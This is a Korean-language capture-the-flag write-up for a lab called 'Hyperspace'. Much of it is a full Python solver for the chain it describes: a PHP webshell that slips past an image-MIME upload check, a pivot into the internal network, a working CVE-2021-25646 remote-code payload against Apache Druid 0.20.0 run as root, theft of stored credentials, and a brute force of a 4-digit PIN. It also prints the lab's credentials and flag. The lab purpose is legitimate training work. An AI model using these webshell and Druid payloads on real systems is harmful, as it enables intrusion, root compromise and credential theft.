kirin@pwnlab:~/writeups$cat hyperspace.md
Hyperspace
Summary
이미지 업로드 폼이 클라이언트가 보낸 MIME 타입만 검사하고 확장자를 막지 않아 .php 웹셸로 RCE를 얻고, 그 발판에서 내부망을 스캔해 Apache Druid 0.20.0(CVE-2021-25646)을 root로 장악한다. Druid 호스트에 남겨진 자격증명으로 내부 HYPERSPACE 포털에 로그인한 뒤, launch.php의 4자리 PIN 게이트를 브루트포스하면 verify_pin.php가 플래그를 돌려준다.
진입점: http://<target>/index.php
네트워크 지형
172.16.238.10:80— 공개 웹(업로드 폼). 최초 발판.172.16.238.11:80— 내부 HYPERSPACE 발사 관제 포털(로그인 → dashboard/launch).172.16.238.52:8081,8888— Apache Druid 0.20.0 콘솔.172.16.238.1:22— 게이트웨이.
Solution
Step 1: 업로드 필터 우회 → 웹 컨테이너 RCE
upload.php는 $_FILES['file-upload']['type'](클라이언트 제어)만 화이트리스트 검사하고 원본 확장자를 그대로 유지한다. PNG 매직바이트 뒤에 PHP를 붙이고 type: image/png로 .php를 올리면 data/<md5>.php에서 실행된다. → www-data @ 172.16.238.10.
Step 2: 내부망 피벗 → Druid 발견
웹셸에서 172.16.238.0/24를 스레드 스캔해 .52:8888(Druid 0.20.0 콘솔)을 식별.
Step 3: CVE-2021-25646 → Druid root RCE
Druid 0.20.0은 JavaScript 파서가 비활성이지만, sampler 요청의 parseSpec에 빈 키 객체 "":{"enabled":true}를 주입하면 JavaScriptConfig가 덮어써져 강제 활성화된다. (널리 알려진 PoC의 enableJavaScript 키는 이 빌드에서 동작하지 않고, 실제 키는 enabled였다.) JS 함수에서 Runtime.exec로 명령 실행 → uid=0(root) @ 172.16.238.52.
Druid 호스트 /opt/hyperspace_account.txt:
ID: hyp3rspacePW: insect_tokenmanizoStep 4: 포털 로그인 → PIN 브루트포스 → 플래그
탈취한 계정으로 172.16.238.11/index.php에 로그인하면 launch.php에 4자리 PIN 입력이 있다. 플래그는 올바른 PIN일 때 verify_pin.php의 JSON 응답에만 존재({"success":true,"flag":"..."}). 레이트리밋·락아웃이 없어 0000–9999 브루트 → PIN 6666.
전체 솔브 스크립트
모든 내부망 접근은 Step 1의 웹셸을 프록시로 사용한다.
WEBSHELL에 업로드된 셸 경로를 넣고 실행하면 플래그까지 출력한다.
#!/usr/bin/env python3# Hyperspace full-chain solver: upload RCE -> Druid CVE-2021-25646 -> creds -> PIN brute -> flagimport requests, json, base64, re, concurrent.futures as cf
TARGET = "http://<target>"INT_PORTAL = "http://172.16.238.11"DRUID = "http://172.16.238.52:8888"
# --- Step 1: upload a PHP webshell past the image-MIME check ---def upload_shell(): shell = b"\x89PNG\r\n\x1a\n<?php system($_REQUEST['c']); ?>" files = {"file-upload": ("s.php", shell, "image/png")} # client-set MIME bypasses the check data = {"name": "a", "email": "a@a.a", "message": "m"} r = requests.post(f"{TARGET}/upload.php", files=files, data=data, timeout=20) path = re.search(r"data/[a-f0-9]+\.php", r.text).group(0) return f"{TARGET}/{path}"
WEBSHELL = upload_shell()def sh(cmd): # run a shell command on the web container (172.16.238.10) return requests.post(WEBSHELL, data={"c": cmd}, timeout=120).text
# --- Step 3: Druid root RCE via forced-enable JavaScript parser ---def druid(cmd): b64 = base64.b64encode(cmd.encode()).decode() inner = "echo %s|base64 -d|/bin/sh" % b64 fn = ("function(){var p=java.lang.Runtime.getRuntime().exec([\"/bin/sh\",\"-c\"," + json.dumps(inner) + "]);var r=new java.io.BufferedReader(new " "java.io.InputStreamReader(p.getInputStream()));var l=\"\";var o=\"\";" "while((l=r.readLine())!=null){o+=l+\"\u0001\";}return {timestamp:o};}") ps = {"format": "javascript", "timestampSpec": {"column": "t", "format": "auto"}, "dimensionsSpec": {}, "function": fn, "": {"enabled": True}} # <-- the CVE trick payload = {"type": "index", "spec": {"type": "index", "ioConfig": {"type": "index", "firehose": {"type": "local", "baseDir": "/etc", "filter": "passwd"}}, "dataSchema": {"dataSource": "s", "parser": {"type": "string", "parseSpec": ps}}}, "samplerConfig": {"numRows": 1, "timeoutMs": 20000}} # tunnel the POST through the web-container shell using curl tun = ("curl -s -m25 -XPOST %s/druid/indexer/v1/sampler?for=connect " "-H 'Content-Type:application/json' --data-raw %s" % (DRUID, json.dumps(json.dumps(payload)))) out = sh(tun) m = re.search(r'"timestamp":"(.*?)"', out) return (m.group(1).replace("\u0001", "\n") if m else out)
creds = druid("cat /opt/hyperspace_account.txt") # ID: hyp3rspace / PW: insect_tokenmanizouid = re.search(r"ID:\s*(\S+)", creds).group(1)pw = re.search(r"PW:\s*(\S+)", creds).group(1)
# --- Step 4: login to internal portal (via the web shell) and brute the 4-digit PIN ---def portal(curl_args): return sh("curl -s -m8 -b /tmp/j -c /tmp/j " + curl_args)
portal(f"-XPOST {INT_PORTAL}/index.php --data-raw 'username={uid}&password={pw}'")
def try_pin(n): pin = "%04d" % n out = sh(f"curl -s -m8 -b /tmp/j -XPOST {INT_PORTAL}/verify_pin.php --data-raw 'pin={pin}'") if '"success":true' in out: return re.search(r"flag\{[^}]*\}", out).group(0)
with cf.ThreadPoolExecutor(30) as ex: for res in ex.map(try_pin, range(10000)): if res: print("FLAG:", res); breakFlag
flag{red_teaming_hyp3rspace_6y_arrester}(PIN = 6666)
Notes / 비파괴 원칙
.52·.11에는 파일 생성 없이 메모리·HTTP 요청으로만 접근. 발판인.10의data/에만 업로드 웹셸이 남음.- 서버 가용성을 해치는 공격(파괴·DoS)은 수행하지 않음. PIN 브루트는 4자리 설계 게이트에 대한 의도된 경로.
참고
- CVE-2021-25646 — Apache Druid 0.20.0 이하, 임의 사용자 요청으로 JavaScript 실행 강제화(RCE).
- 출제자: arrester (ENKI Red Team).